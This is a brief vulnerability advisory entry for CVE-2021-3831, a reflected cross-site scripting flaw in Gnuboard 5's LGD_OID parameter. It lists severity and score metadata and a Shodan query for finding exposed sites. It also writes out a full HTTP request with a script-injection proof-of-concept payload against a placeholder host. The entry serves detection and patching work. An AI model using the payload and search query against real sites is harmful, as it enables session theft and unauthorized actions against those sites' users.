| Title | Gnuboard 5 - Cross-Site Scripting |
|---|---|
| Author | arafatansari |
| Severity | Medium |
| Impact | Attackers can inject malicious JavaScript via XSS in the LGD_OID parameter, potentially stealing user session cookies or performing unauthorized actions. |
| Remediation | Apply security patches or upgrade to a patched version of Gnuboard 5. |
| CVSS Score | 5.4 |
| EPSS Score | 0.26611 |
| CVE ID | CVE-2021-3831 |
| CWE ID | CWE-80 |
| Shodan Query | http.html:"gnuboard5" |
| Tags | cve cve2021 gnuboard xss huntr vuln |
Gnuboard 5 contains a cross-site scripting vulnerability via the $_GET[‘LGD_OID’] parameter.
GET /mobile/shop/lg/mispwapurl.php?LGD_OID=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-3831.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-3831.pcap
N/AN/A